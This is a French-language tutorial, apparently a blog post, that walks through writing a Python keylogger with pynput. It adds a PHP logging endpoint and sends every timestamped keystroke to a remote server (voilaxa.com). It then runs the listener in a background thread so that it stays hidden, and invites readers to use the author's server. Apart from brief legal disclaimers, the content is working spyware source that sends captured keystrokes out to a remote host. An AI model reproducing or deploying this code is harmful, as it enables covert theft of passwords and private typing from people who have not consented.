Les Keylogers
Le meilleur moyen pour progresser dans une langue est de la pratiquer, le python ne fait pas exception !

En bref un keylogger est un logiciel ou un dispositif qui enregistre secrètement les frappes d'un utilisateur sur un clavier, y compris les mots de passe et autres informations confidentielles.
Attention : L'utilisation de keyloggers à des fins illégales est passible de sanctions sévères en France, allant de fortes amendes à des peines de prison, en fonction de la gravité de l'infraction. Veillez à respecter scrupuleusement la législation en matière de cybersécurité.

De quoi avons-nous besoin :

    
from pynput import keyboard
from pynput.keyboard import Key
def on_press(key):
    try:
        tac = key.char
        print(tac)
    except :
        toc = key
        if toc == Key.caps_lock:
            print("[MAJ]")
        if toc == Key.space:
            print(" ")
        if toc == Key.delete:  
            print("[DELETE]>")
        if toc == Key.backspace:
            print("<[DELETE]")
        if toc == Key.enter:
            print("\n")
        else:
            pass
with keyboard.Listener(on_press=on_press) as listener:
        listener.join()



    
  


















Pynput est une bibliothèque Python qui permet de contrôler et surveiller les dispositifs d'entrée, y compris le clavier.
Ici grace a pynput nous avons ce script qui enregistre chaque touche dans une variable tac/toc et qu'il l'affiche

C'est bien beau d'afficher les touches mais ca nous sert un peu a rien. Et si on les envoyé sur notre serveur ???
    
<?php
$file = "logs.txt";
$data = $_GET['k'];
$file = fopen($file, "a");
fwrite($file, $data);
fclose($file);

?<

    
  







Ce code envoit les données du paramétre GET de l'url vers le fichiers logs.txt

Maintenant il faudrait trouver un moyen d'envoyer chaque touche vers notre serveur.
Nous allons ici utiliser requests, faisons un test avec "test"
    
import requests
requests.get("https://voilaxa.com/k/k.php?k=test")
 
  





Ca a l'air de bien marcher donc on modifie le code de base.
    
from pynput import keyboard
from pynput.keyboard import Key
import requests
import time
def on_press(key):
    try:
        tac = key.char
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        requests.get(f"https://voilaxa.com/k/k.php?k={tim} {tac}\n")
    except :
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        toc = key
        if toc == Key.caps_lock:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [maj]\n")
        if toc == Key.space:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [space]\n")
        if toc == Key.delete:  
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [del]>\n")
        if toc == Key.backspace:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} <[del]\n")
        if toc == Key.enter:
            requests.get(f"https://voila.com/k/k.php?={tim} [ENTER]")
        else:
            pass
with keyboard.Listener(on_press=on_press) as listener:
        listener.join()
    
  




















J'en ai profité pour rajouter une donnée : le temps. ici chaque caractère envoyé vers le serveur sera précédé de la date et de l'heure précise local et ça donne maintenant ça :
Maintenant la dernière étape va être de rendre notre script moins visible c’est-à-dire que même la fenêtre quitter le script continuera de tourner en arrière-plan.
Pour ce faire nous allons simplement mettre notre fonction dans un autre thread.
    
from pynput import keyboard
from pynput.keyboard import Key
import requests
import time
import threading
def on_press(key):
    try:
        tac = key.char
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        requests.get(f"https://voilaxa.com/k/k.php?k={tim} {tac}\n")
    except :
        now = time.localtime(time.time())
        tim = time.strftime("%y/%m/%d %H:%M:%S", now)
        toc = key
        if toc == Key.caps_lock:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [maj]\n")
        if toc == Key.space:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [space]\n")
        if toc == Key.delete:  
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} [del]>\n")
        if toc == Key.backspace:
            requests.get(f"https://voilaxa.com/k/k.php?k={tim} <[del]\n")
        if toc == Key.enter:
            requests.get(f"https://voila.com/k/k.php?={tim} [ENTER]")
        else:
            pass
def ar():
        with keyboard.Listener(on_press=on_press) as listener: listener.join()
back = threading.Thread(target=ar)
back.start()
    
  




















Voilà le code final, vous pouvez vous servir de mon api seulement je rappelle questionner quelqu'un sans son consentement est illégal.